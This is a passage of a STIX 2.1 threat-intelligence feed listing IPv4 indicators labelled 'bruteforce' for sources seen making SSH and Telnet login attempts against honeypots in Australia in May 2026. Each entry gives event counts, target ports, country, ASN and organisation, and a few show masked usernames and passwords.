      "id": "indicator--ab84aa45-cc43-43a4-9000-b7e9b314a3d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.202.21.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 34665. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.161.50.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--15911244-8d56-4ae1-985a-9e9a956e09f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.65.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e76679f3-334d-4df5-99e2-d4d7ff24079a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.195.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): Q**********e, n******6.",
      "id": "indicator--61f367c3-3199-40c9-a1a3-d60c4962ec23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.126.22.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--1ef7bd0b-812f-4ae3-b4b5-427411525234",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.161.34.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--af6fcf53-d9b9-4530-b1e6-0da8af804d67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.174.90.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0746daf3-ea62-4fdc-b17a-457573ffc4a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.113.135.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--440a1458-b95f-418d-967c-89a95eef904e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.109.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--51da8cc0-1d27-4983-aa69-f8c4b9586f81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.177.172.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fb90b0b3-6273-4b7a-bc90-4430ff23ceba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.112.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 17924. Organisation(s): SmarTone Mobile Communications Ltd.",
      "id": "indicator--b5a8d19f-3301-4017-8864-246157917bfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.202.147.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f51b3b57-d1c9-49d5-8232-0054186d0eb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.81.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--03e91ee3-0995-42b3-9349-772903bda21f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.228.246.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c1be6406-c9f1-4aed-90b5-ef4c862ae10b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.100.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263025. Organisation(s): ISPTEC Sistemas de Comunicacao Eireli. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******6, 1******@, 1**********Y.",
      "id": "indicator--97c78485-c4ad-4af6-873a-64a513de1601",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.10.201.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--18bc9622-79c8-4c76-9cb7-36b155b12af6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.215.204.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270996. Organisation(s): LINK PRIME TECNOLOGIA.",
      "id": "indicator--6124fff1-f987-4d87-807d-52fbeb2808de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.23.25.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 197181. Organisation(s): Netico S.c..",
      "id": "indicator--43df07a6-9790-4c85-b223-1e0e51b1e61f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.217.218.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--56aa7155-c57b-45da-847a-12b32f0d2893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.145.134.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--5026f98c-5438-4936-93ad-4bc18fbf917a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.52.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271475. Organisation(s): Fox Connecta.",
      "id": "indicator--e2875398-2222-41f3-a0d5-afd7bc1fab95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.189.97.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1eee29e1-0c7d-4d01-9f9b-0f0ddc80cff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.3.145.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--dc3649aa-88bf-4feb-8dea-e6be032d8e7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.53.71.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--a78eade4-9652-4d64-8735-cec85dec9bb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.29.210.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): i*****l. Passwords observed (masked): I***********************5.",
      "id": "indicator--fd8727e2-0af0-4df2-b32d-af95a6aaa1ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--c2567272-4782-4003-81a1-b90157cdc96e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.216.84.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******6, P*******., Q*******0.",
      "id": "indicator--00b97232-301d-4e66-a770-0c5039ca3fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.12.90.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc52f6a3-d4c9-4d74-8b7e-7968c719bc8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--d5a74748-4ba9-40bc-8a4e-201ec6f5e7a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.34.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8905c870-15cf-42ae-91d4-c69029f9ac7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.22.222.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b188b6f1-8c34-41f2-92b2-8062c76e4a3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.190.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7ed494ea-11d3-4931-9516-b48bada9cb01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.236.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: AE. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--7664d5c8-4d29-4320-b2cc-dd03a0ba86d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.59.44.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--04bd3fbc-8c83-4c84-8e27-d2e8e74de85d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.66.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--57d68233-3bf9-47a1-a0d2-d448e09c75ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.97.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 265. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******6, 1**********Y, A******3.",
      "id": "indicator--a2c15e0e-1ddd-41af-afd7-dfa12922ddf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.222.188.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
